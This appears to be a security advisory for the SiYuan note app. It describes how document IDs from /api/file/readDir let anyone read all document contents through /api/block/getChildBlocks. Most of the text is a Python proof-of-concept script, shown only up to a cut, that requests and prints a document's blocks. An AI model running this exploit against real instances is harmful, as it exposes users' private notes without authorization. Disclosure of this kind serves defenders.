GHSA-34xj-66v3-6j83

Details

Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.

PoC

#!/usr/bin/env python3
"""SiYuan /api/block/getChildBlocks 文档内容读取"""
import requests
import json
import sys

def get_child_blocks(target_url, doc_id):
    """
    调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容
    """
    url = f"{target_url.rstrip('/')}/api/block/getChildBlocks"
    
    headers = {
        "Content-Type": "application/json"
    }
    
    data = {
        "id": doc_id
    }
    
    try:
        response = requests.post(url, json=data, headers=headers, timeout=10)
        response.raise_for_status()
        
        result = response.json()
        
        if result.get("code") != 0:
            print(f"[-] 请求失败: {result.get('msg', '未知错误')}")
            return None
        
        return result.get("data")
        
    except requests.exceptions.RequestException as e:
        print(f"[-] 网络请求失败: {e}")
        return None
    except json.JSONDecodeError as e:
        print(f"[-] JSON解析失败: {e}")
        return None

def format_block_content(block):
    """格式化块内容"""
    content = ""
    
    # 获取块内容
    if isinstance(block, dict):
        # 尝试多种可能的字段
        md = block.get("markdown", "") or block.get("content", "") or ""
        if md:
            content = md.strip()
    
    return content

def main():
    """主函数"""
    if len(sys.argv) > 1:
        target_url = sys.argv[1]
    else:
        target_url = input("请输入 SiYuan 服务地址 (例如: http://localhost:6806): ").strip()
        if not target_url:
            target_url = "http://localhost:6806"
    
    print(f"目标地址: {target_url}")
    print("=" * 50)
    
    while True:
        print("\n" + "=" * 50)
        doc_id = input("请输入文档ID (输入 'quit' 或 'exit' 退出): ").strip()
        
        if doc_id.lower() in ['quit', 'exit', 'q']:
            print("程序退出")
            break
        
        if not doc_id:...